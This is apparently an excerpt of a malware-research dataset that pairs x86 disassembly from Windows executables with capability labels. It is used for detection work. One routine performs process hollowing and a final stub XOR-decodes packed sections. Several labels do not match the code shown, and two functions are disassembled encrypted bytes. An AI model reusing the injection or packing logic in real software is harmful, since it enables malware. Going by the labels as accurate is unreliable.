joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45a9d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x7c
mov eax, dword [0x52406c]
xor eax, esp
mov dword [esp + 0x78], eax
cmp dword [ecx + 0x14], 8
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [esp + 0xc], eax
mov ebx, edx
mov eax, dword [ebp + 0xc]
push edi
mov dword [esp + 0x14], eax
jb 0x45a9ff
mov ecx, dword [ecx]
push 0
push 0
push 3
push 0
push 1
push SysReAllocString
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x45abb8
lea eax, [esp + 0x74]
push eax
lea eax, [esp + 0x80]
push eax
lea eax, [esp + 0x74]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov esi, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x70]
push eax
call esi
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x78]
push eax
call esi
lea eax, [esp + 0x5c]
push eax
lea eax, [esp + 0x80]
push eax
call esi
movzx eax, word [esp + 0x48]
mov dword [esp + 0x18], eax
movzx eax, word [esp + 0x46]
mov dword [esp + 0x1c], eax
movzx eax, word [esp + 0x44]
mov dword [esp + 0x20], eax
movzx eax, word [esp + 0x42]
mov dword [esp + 0x24], eax
movzx eax, word [esp + 0x3e]
dec eax
mov dword [esp + 0x34], 0
mov dword [esp + 0x28], eax
movzx eax, word [esp + 0x3c]
sub eax, 0x76c
mov dword [esp + 0x38], 0
mov dword [esp + 0x2c], eax
movzx eax, word [esp + 0x40]
mov dword [esp + 0x30], eax
lea eax, [esp + 0x18]
push eax
call fcn.004c8cd3
mov dword [ebx], eax
movzx eax, word [esp + 0x5c]
mov dword [esp + 0x1c], eax
movzx eax, word [esp + 0x5a]
mov dword [esp + 0x20], eax
movzx eax, word [esp + 0x58]
mov dword [esp + 0x24], eax
movzx eax, word [esp + 0x56]
mov dword [esp + 0x28], eax
movzx eax, word [esp + 0x52]
dec eax
mov dword [ebx + 4], edx
mov dword [esp + 0x2c], eax
movzx eax, word [esp + 0x50]
sub eax, 0x76c
mov dword [esp + 0x38], 0
mov dword [esp + 0x30], eax
movzx eax, word [esp + 0x54]
mov dword [esp + 0x34], eax
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x40], 0
call fcn.004c8cd3
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
movzx eax, word [esp + 0x70]
mov dword [esp + 0x20], eax
movzx eax, word [esp + 0x6e]
mov dword [esp + 0x24], eax
movzx eax, word [esp + 0x6c]
mov dword [esp + 0x28], eax
movzx eax, word [esp + 0x6a]
mov dword [esp + 0x2c], eax
movzx eax, word [esp + 0x66]
mov dword [ecx + 4], edx
dec eax
mov dword [esp + 0x30], eax
movzx eax, word [esp + 0x64]
sub eax, 0x76c
mov dword [esp + 0x3c], 0
mov dword [esp + 0x34], eax
movzx eax, word [esp + 0x68]
mov dword [esp + 0x38], eax
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x44], 0
call fcn.004c8cd3
mov ecx, dword [esp + 0x20]
add esp, 0xc
push edi
mov dword [ecx], eax
mov dword [ecx + 4], edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x78]
xor ecx, esp
call fcn.0046c93b
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x84]
xor al, al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0046c93b
mov esp, ebp
pop ebp
ret
Function at 0x45ac30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e94f8
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x52406c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
mov dword [ebp - 4], 0
cmp dword [edx + 0x14], 8
jb 0x45ac84
mov edx, dword [edx]
push 2
push 0
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov ebx, eax
test ebx, ebx
jne 0x45acb9
mov dword [esi + 0x10], 0
mov ecx, esi
push 0
mov dword [esi + 0x14], 0xf
push 0x5037ec
mov byte [esi], 0
call fcn.00432b30
jmp 0x45ad94
push 0xa
push 0xc8
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x30], eax
test eax, eax
je 0x45ac95
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x45ac95
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x45ac95
push dword [ebp - 0x30]
mov dword [ebp - 0x38], 0
push 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
cmp edi, eax
je 0x45ad16
sub eax, edi
lea ecx, [ebp - 0x48]
push eax
push edi
call fcn.00432b30
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00430850
mov edx, dword [ebp - 0x34]
cmp edx, 0x10
jb 0x45ad52
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45ad48
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45adb2
push edx
push ecx
call fcn.0046c951
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x2c]
mov ecx, esi
push eax
call fcn.00432a00
mov edx, dword [ebp - 0x18]
cmp edx, 0x10
jb 0x45ad94
mov ecx, dword [ebp - 0x2c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45ad8a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45adb7
push edx
push ecx
call fcn.0046c951
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0046c93b
mov esp, ebp
pop ebp
ret
call fcn.004be3cc
call fcn.004be3cc
int3

Function at 0x45ae10
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 1
mov dword [0x52d804], 0xffffffff
mov dword [0x52c484], edx
nop dword [eax + eax]
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x52c484], edx
inc eax
cmp eax, 0x270
jl 0x45ae30
mov dword [0x52c480], 0x270
mov eax, 0x52c480
pop ebp
ret 4
Function at 0x45da40
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edi
mov eax, dword [edi]
cmp eax, 0x270
jne 0x45da9e
lea edx, [edi + 8]
mov esi, eax
nop dword [eax]
mov ecx, dword [edx - 4]
lea edx, [edx + 4]
xor ecx, dword [edx - 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub esi, 1
jne 0x45da60
mov eax, dword [edi]
jmp 0x45db89
cmp eax, 0x4e0
jb 0x45db89
mov eax, dword [edi + 0x9c4]
push ebx
lea ebx, [edi + 0x9c4]
mov edi, 0xe3
nop dword [eax + eax]
mov ecx, dword [ebx + 4]
lea edx, [ebx + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx + 0x634]
xor eax, ecx
mov dword [ebx - 0x9c0], eax
lea ebx, [edx]
mov eax, dword [edx]
sub edi, 1
jne 0x45dac0
mov ebx, dword [ebp - 4]
mov edi, 0x18c
add ebx, 0xd50
mov eax, dword [ebx]
nop dword [eax]
mov ecx, eax
lea edx, [ebx + 4]
xor ecx, dword [edx]
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx - 0xd4c]
xor eax, ecx
mov dword [ebx - 0x9c0], eax
lea ebx, [edx]
mov eax, dword [edx]
sub edi, 1
jne 0x45db10
mov edi, dword [ebp - 4]
pop ebx
mov ecx, dword [edi + 0x1380]
xor ecx, dword [edi + 4]
and ecx, 0x7fffffff
xor ecx, dword [edi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x634]
xor eax, ecx
mov dword [edi + 0x9c0], eax
xor eax, eax
mov dword [edi], 0
mov edx, dword [edi + eax*4 + 4]
inc eax
mov dword [edi], eax
mov ecx, edx
mov eax, dword [edi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x49d75e
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp dword [eax + 0x10], 0
jne 0x49d76e
xor al, al
pop ebp
ret
cmp dword [eax + 0x14], 8
jb 0x49d776
mov eax, dword [eax]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne al
pop ebp
ret

Function at 0x4a6144
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x4d30e7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004d2f5d
Function at 0x43a644
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetNativeSystemInfo
movzx eax, word [esp]
sub ax, 1
jb 0x43a665
sub ax, 5
je 0x43a670
sub ax, 3
je 0x43a674
jmp 0x43a67f
mov byte [0x44bf9c], 0x20
mov al, 1
jmp 0x43a681
xor eax, eax
jmp 0x43a681
mov byte [0x44bf9c], 0x40
mov al, 1
jmp 0x43a681
xor eax, eax
add esp, 0x24
ret

Function at 0x43b1a8
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00406bd8
xor eax, eax
push ebp
push 0x43b319
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x446078]
mov edx, 0x43b334
call fcn.00407450
mov edx, dword [ebp - 4]
call fcn.00407450
mov edx, 0x43b364
call fcn.00407450
call fcn.00404cdc
call fcn.004042f8
push 1
push 0x43b36c
push 0
call sub.advapi32.dll_OpenSCManagerW
mov ebx, eax
test ebx, ebx
jne 0x43b243
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [0x446078]
mov edx, 0x43b398
call fcn.00407450
call fcn.00407dec
mov edx, 0x43b3e4
call fcn.00407450
call fcn.00404cdc
call fcn.004042f8
jmp 0x43b303
push 2
mov eax, dword [ebp - 4]
call fcn.00406c7c
push eax
push ebx
call sub.advapi32.dll_OpenServiceW
mov esi, eax
test esi, esi
jne 0x43b297
push ebx
call sub.advapi32.dll_CloseServiceHandle
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [0x446078]
mov edx, 0x43b3f8
call fcn.00407450
call fcn.00407dec
mov edx, 0x43b3e4
call fcn.00407450
call fcn.00404cdc
call fcn.004042f8
jmp 0x43b303
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push edi
push 0xffffffffffffffff
push esi
call sub.advapi32.dll_ChangeServiceConfigW
test eax, eax
jne 0x43b2f7
push esi
call sub.advapi32.dll_CloseServiceHandle
push ebx
call sub.advapi32.dll_CloseServiceHandle
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [0x446078]
mov edx, 0x43b440
call fcn.00407450
call fcn.00407dec
mov edx, 0x43b3e4
call fcn.00407450
call fcn.00404cdc
call fcn.004042f8
jmp 0x43b303
push esi
call sub.advapi32.dll_CloseServiceHandle
push ebx
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43b320
lea eax, [ebp - 4]
call fcn.00406be0
ret
Function at 0x43b58c
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
call fcn.00406bd8
xor eax, eax
push ebp
push 0x43b6ce
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [0x446078]
mov edx, 0x43b6e8
call fcn.00407450
mov edx, dword [ebp - 0xc]
call fcn.00407450
mov edx, 0x43b710
call fcn.00407450
call fcn.00404cdc
call fcn.004042f8
push 1
push 0x43b718
push 0
call sub.advapi32.dll_OpenSCManagerW
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x43b610
push ebp
call sub.kernel32.dll_GetLastError_1
mov edx, eax
mov eax, 0x43b744
call fcn.0043b48c
pop ecx
jmp 0x43b6b8
push 0x10
mov eax, dword [ebp - 0xc]
call fcn.00406c7c
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_OpenServiceW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x43b642
push ebp
call sub.kernel32.dll_GetLastError_1
mov edx, eax
mov eax, 0x43b76c
call fcn.0043b48c
pop ecx
jmp 0x43b6b8
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_StartServiceW
test eax, eax
jne 0x43b6a6
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
cmp ebx, 0x420
jne 0x43b696
push 0x7d0
call sub.kernel32.dll_Sleep_1
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_StartServiceW
test eax, eax
jne 0x43b6a6
push ebp
mov edx, ebx
mov eax, 0x43b790
call fcn.0043b48c
pop ecx
jmp 0x43b6b8
push ebp
mov edx, ebx
mov eax, 0x43b790
call fcn.0043b48c
pop ecx
jmp 0x43b6b8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CloseServiceHandle
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43b6d5
lea eax, [ebp - 0xc]
call fcn.00406be0
ret
Function at 0x43c1c8
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov ebx, eax
test ebx, ebx
jne 0x43c216
call sub.kernel32.dll_GetLastError_1
mov esi, eax
mov eax, esi
xor edx, edx
push edx
push eax
mov eax, dword [0x446078]
mov edx, 0x43c27c
call fcn.00407450
call fcn.00407dec
mov edx, 0x43c2c4
call fcn.00407450
call fcn.00404cdc
call fcn.004042f8
mov eax, esi
call fcn.0040632c
push 0
push ebx
call sub.kernel32.dll_TerminateProcess
test eax, eax
jne 0x43c264
push ebx
call sub.kernel32.dll_CloseHandle_1
call sub.kernel32.dll_GetLastError_1
mov esi, eax
mov eax, esi
xor edx, edx
push edx
push eax
mov eax, dword [0x446078]
mov edx, 0x43c2d8
call fcn.00407450
call fcn.00407dec
mov edx, 0x43c2c4
call fcn.00407450
call fcn.00404cdc
call fcn.004042f8
mov eax, esi
call fcn.0040632c
push ebx
call sub.kernel32.dll_CloseHandle_1
pop esi
pop ebx
ret

Function at 0x43c31c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00406bd8
xor eax, eax
push ebp
push 0x43c3ec
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00404a04
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 4]
call fcn.004074fc
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00406c7c
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x43c3b7
call sub.kernel32.dll_GetLastError_1
xor edx, edx
push edx
push eax
mov eax, dword [0x446078]
mov edx, 0x43c408
call fcn.00407450
call fcn.00407dec
mov edx, 0x43c454
call fcn.00407450
call fcn.00404cdc
call fcn.004042f8
jmp 0x43c3d6
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
push 0xffffffffffffffff
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43c3f3
lea eax, [ebp - 4]
call fcn.00406be0
ret
Function at 0x43dc18
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebp, edx
mov esi, eax
xor ebx, ebx
push 2
push 0
mov eax, esi
call fcn.00406c7c
push eax
call sub.kernel32.dll_LoadLibraryExW_1
mov esi, eax
test esi, esi
je 0x43dcb0
push 0x10
push 1
push esi
call sub.kernel32.dll_FindResourceW
mov edi, eax
test edi, edi
je 0x43dcb0
push edi
push esi
call sub.kernel32.dll_LoadResource
test eax, eax
je 0x43dcb0
mov edx, dword [eax + 0x30]
mov dword [ebp], edx
mov edx, dword [eax + 0x34]
shr edx, 0x10
mov word [ebp + 4], dx
movzx edx, word [eax + 0x34]
mov word [ebp + 6], dx
mov edx, dword [eax + 0x44]
and edx, 1
cmp edx, 1
sete dl
mov byte [ebp + 8], dl
mov edx, dword [eax + 0x44]
and edx, 2
cmp edx, 2
sete dl
mov byte [ebp + 9], dl
mov edx, dword [eax + 0x44]
and edx, 8
cmp edx, 8
sete dl
mov byte [ebp + 0xa], dl
mov eax, dword [eax + 0x44]
and eax, 0x20
cmp eax, 0x20
sete al
mov byte [ebp + 0xb], al
push esi
call sub.kernel32.dll_FreeLibrary_1
mov bl, 1
mov eax, ebx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4fee27
Capabilities:
Encode data using xor

Disassembly:
invalid
lar esp, word [edi - 0x42]
sbb ecx, edi
loop 0x4fee46
fisubr word [edi]
cmp ebx, dword [edx - 0x3f50aba]
iretd
loopne int.004fee27
aam 0x54
fcompp
idiv byte [0x291efb4d]
in al, 0x3a
push ds
mov dl, al
jecxz 0x4feed5
push ds
loopne 0x4feebd
mov esi, 0x9f2c025c
sahf
loop 0x4fee9b
xchg ebp, eax
mov dh, 0xff
cdq
mov ch, 0x91
or ebp, esp
call 0xab92ec51
xor byte [edi - 0x44d93d96], 0xc6
add byte [edi + ebp*8 - 0xf], bl
pop esi
jle 0x4fee0b
or eax, 0xbc3555a6
dec edi
dec ebp
pavgb mm1, qword [edx - 0x5654bac9]
outsd dx, dword [esi]
sub edx, esp
lodsd eax, dword [esi]
xor eax, 0xd841211b
or al, byte [edx]
jmp 0x4feeb9
inc ecx
push edi
dec esp
outsd dx, dword [esi]
mov cl, 0x1e
xchg ebx, eax
stosd dword es:[edi], eax
jae 0x4fee52
cmp dword [0x4cfec451], 0x92588915
xlatb
ret 0xd2e0
cmp bl, byte [edx + 0x67]
sub dword [edi - 0x70701230], ebx
xlatb
iretd
lahf
shr ch, 1
invalid
lahf
das
or cl, 0x5b
cmp byte [eax + 0x4b7f402a], dl
sbb eax, 0xb5ce84b6
invalid

Function at 0x591ea7
Capabilities:
Encode data using xor

Disassembly:
dec edi
xor edi, dword [esi - 0x77]
xchg esp, eax
pushal
sbb bl, dl
cmp cl, byte [edi + 0x4abedcfe]
push esp
mov al, 0xdf
mov esi, 0xdfb0544a
push cs
push ebp
imul edi, dword [ebx + ebx*2 - 0x68ca90dc], 0x4848a624
sbb eax, 0xef5daedd
jns 0x591eb3
mov ecx, 0xcf0eb260
inc esp
push ecx
mov byte [ecx], bl
fadd dword [edx + 0x69]
fnstsw word [ebx - 0x48d55cf7]
in al, 0x7a
mov dl, 0x49
push ecx
invalid
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4cc
mov eax, dword [0x40a11c]
xor eax, esp
mov dword [esp + 0x4c8], eax
mov eax, dword [str.xxoo.dll]
movzx edx, byte [0x409294]
mov ecx, dword [0x409290]
push ebx
push esi
push edi
mov dword [esp + 0x4a4], eax
mov eax, dword [str.soft.dat]
mov byte [esp + 0x4ac], dl
movzx edx, byte [0x4092a0]
push 0x40
mov dword [esp + 0x4cc], eax
xor edi, edi
mov dword [esp + 0x4ac], ecx
mov ecx, dword [0x40929c]
lea eax, [esp + 0x28]
push edi
push eax
mov dword [esp + 0x4d8], ecx
mov byte [esp + 0x4dc], dl
call fcn.00405560
push 0x2c8
xor eax, eax
lea ecx, [esp + 0x1e4]
push edi
push ecx
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x1e8], edi
call fcn.00405560
add esp, 0x18
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x24]
push eax
push edi
push edi
push 4
push edi
push edi
push edi
lea ecx, [esp + 0x4e8]
push ecx
push edi
mov dword [esp + 0x48], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40125f
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1d0]
push edx
push eax
mov dword [esp + 0x1d8], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40125f
mov eax, dword [0x4092ac]
mov ecx, dword [0x4092a4]
mov edx, dword [0x4092a8]
mov ebx, dword [0x4092b0]
push 0x40
push 0x3000
push 0x168
mov dword [esp + 0x4c4], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x4bc], ecx
mov ecx, dword [0x4092b4]
mov dword [esp + 0x4c0], edx
mov dx, word [0x4092b8]
push edi
push eax
mov dword [esp + 0x4d4], ecx
mov word [esp + 0x4d8], dx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
cmp esi, edi
je 0x40125f
mov ecx, dword [esp + 0x280]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x168
sub ecx, esi
lea edx, [esp + 0x6c]
sub ecx, 0x119
push 0
push edx
mov dword [esp + 0x4bf], esi
mov dword [esp + 0x4cd], ecx
call fcn.00405560
mov ecx, dword [esp + 0x4b4]
mov dl, byte [esp + 0x4b8]
mov eax, dword [esp + 0x4b0]
mov dword [esp + 0x78], ecx
mov ecx, dword [esp + 0x4c0]
add esp, 0xc
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x4b0]
mov byte [esp + 0x70], dl
mov edx, dword [esp + 0x4c0]
mov dword [esp + 0x170], ecx
lea ecx, [esp + 0x1c]
push ecx
push 0x168
mov dword [esp + 0x174], eax
mov ax, word [esp + 0x4cc]
mov dword [esp + 0x184], edx
lea edx, [esp + 0x70]
push edx
mov word [esp + 0x18c], ax
mov eax, dword [esp + 0x18]
push esi
push eax
mov dword [esp + 0x188], edi
mov dword [esp + 0x18c], ebx
mov dword [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40125f
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1d0]
push ecx
add esi, 0x104
push edx
mov dword [esp + 0x288], esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x40125f
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [esp + 0x4d4]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004013fb
mov esp, ebp
pop ebp
ret
Function at 0x4013fb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a11c]
jne 0x401405
repz ret
jmp fcn.00402a32

Function at 0x403473
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402253
and dword [ebp - 4], 0
cmp dword [0x40b560], 0
mov ebx, eax
jne 0x403524
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4035d5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4035d5
push eax
call fcn.004021e1
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40b560], eax
call esi
push eax
call fcn.004021e1
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40b564], eax
call esi
push eax
call fcn.004021e1
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40b568], eax
call esi
push eax
call fcn.004021e1
pop ecx
mov dword [0x40b570], eax
test eax, eax
je 0x403524
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004021e1
pop ecx
mov dword [0x40b56c], eax
mov eax, dword [0x40b56c]
cmp eax, ebx
je 0x40357c
cmp dword [0x40b570], ebx
je 0x40357c
push eax
call fcn.0040225c
push dword [0x40b570]
mov esi, eax
call fcn.0040225c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40357c
test edi, edi
je 0x40357c
call esi
test eax, eax
je 0x403573
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x403573
test byte [ebp - 0xc], 1
jne 0x40357c
or dword [ebp + 0x10], 0x200000
jmp 0x4035b5
mov eax, dword [0x40b564]
cmp eax, ebx
je 0x4035b5
push eax
call fcn.0040225c
pop ecx
test eax, eax
je 0x4035b5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4035b5
mov eax, dword [0x40b568]
cmp eax, ebx
je 0x4035b5
push eax
call fcn.0040225c
pop ecx
test eax, eax
je 0x4035b5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40b560]
call fcn.0040225c
pop ecx
test eax, eax
je 0x4035d5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4035d7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x6f88079a
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
mov ecx, 0x78706dea
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219